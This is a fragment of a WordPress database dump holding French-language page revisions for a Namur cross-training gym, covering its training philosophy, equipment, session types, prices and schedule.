(95, 1, '2013-06-16 13:12:40', '2013-06-16 13:12:40', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-92 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:12:40', '2013-06-16 13:12:40', '', 5, 'http://www.crosstrainingcenter.be/?p=95', 0, 'revision', '', 0),
(97, 1, '2013-06-16 13:19:06', '2013-06-16 13:19:06', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-94 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x82.png\&quot; width=\&quot;300\&quot; height=\&quot;82\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:19:06', '2013-06-16 13:19:06', '', 5, 'http://www.crosstrainingcenter.be/?p=97', 0, 'revision', '', 0),
(99, 1, '2013-06-16 13:27:37', '2013-06-16 13:27:37', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-96 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:27:37', '2013-06-16 13:27:37', '', 5, 'http://www.crosstrainingcenter.be/?p=99', 0, 'revision', '', 0),
(100, 1, '2013-06-16 13:44:39', '2013-06-16 13:44:39', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-96 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-98 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:44:39', '2013-06-16 13:44:39', '', 5, 'http://www.crosstrainingcenter.be/?p=100', 0, 'revision', '', 0),
(101, 1, '2013-06-16 11:22:47', '2013-06-16 11:22:47', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:22:47', '2013-06-16 11:22:47', '', 22, 'http://www.crosstrainingcenter.be/?p=101', 0, 'revision', '', 0),
(105, 1, '2013-06-13 16:27:32', '2013-06-13 16:27:32', 'Nous vous  proposons chaque jour :\r\n\r\n- Team Training : entrainements en groupe avec un coach qualifié (8 à 12 pers.).\r\n\r\n- Duo Training : entrainements à deux personnes sous la supervision d’un coach.\r\n\r\n- Personal Training : un coach par personne, l’idéal pour progresser plus rapidement !\r\n- Coaching nutritionnel : rendez-vous avec une diététicienne pour améliorer votre santé.\r\n\r\n&amp;nbsp;\r\n\r\nPrix ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n\r\nHoraire ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-13 16:27:32', '2013-06-13 16:27:32', '', 11, 'http://www.crosstrainingcenter.be/?p=105', 0, 'revision', '', 0);
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(106, 1, '2013-06-16 14:01:57', '2013-06-16 14:01:57', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n\r\nPrix ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n\r\nHoraire ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:01:57', '2013-06-16 14:01:57', '', 11, 'http://www.crosstrainingcenter.be/?p=106', 0, 'revision', '', 0),
(107, 1, '2013-06-16 14:14:58', '2013-06-16 14:14:58', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:14:58', '2013-06-16 14:14:58', '', 11, 'http://www.crosstrainingcenter.be/?p=107', 0, 'revision', '', 0),
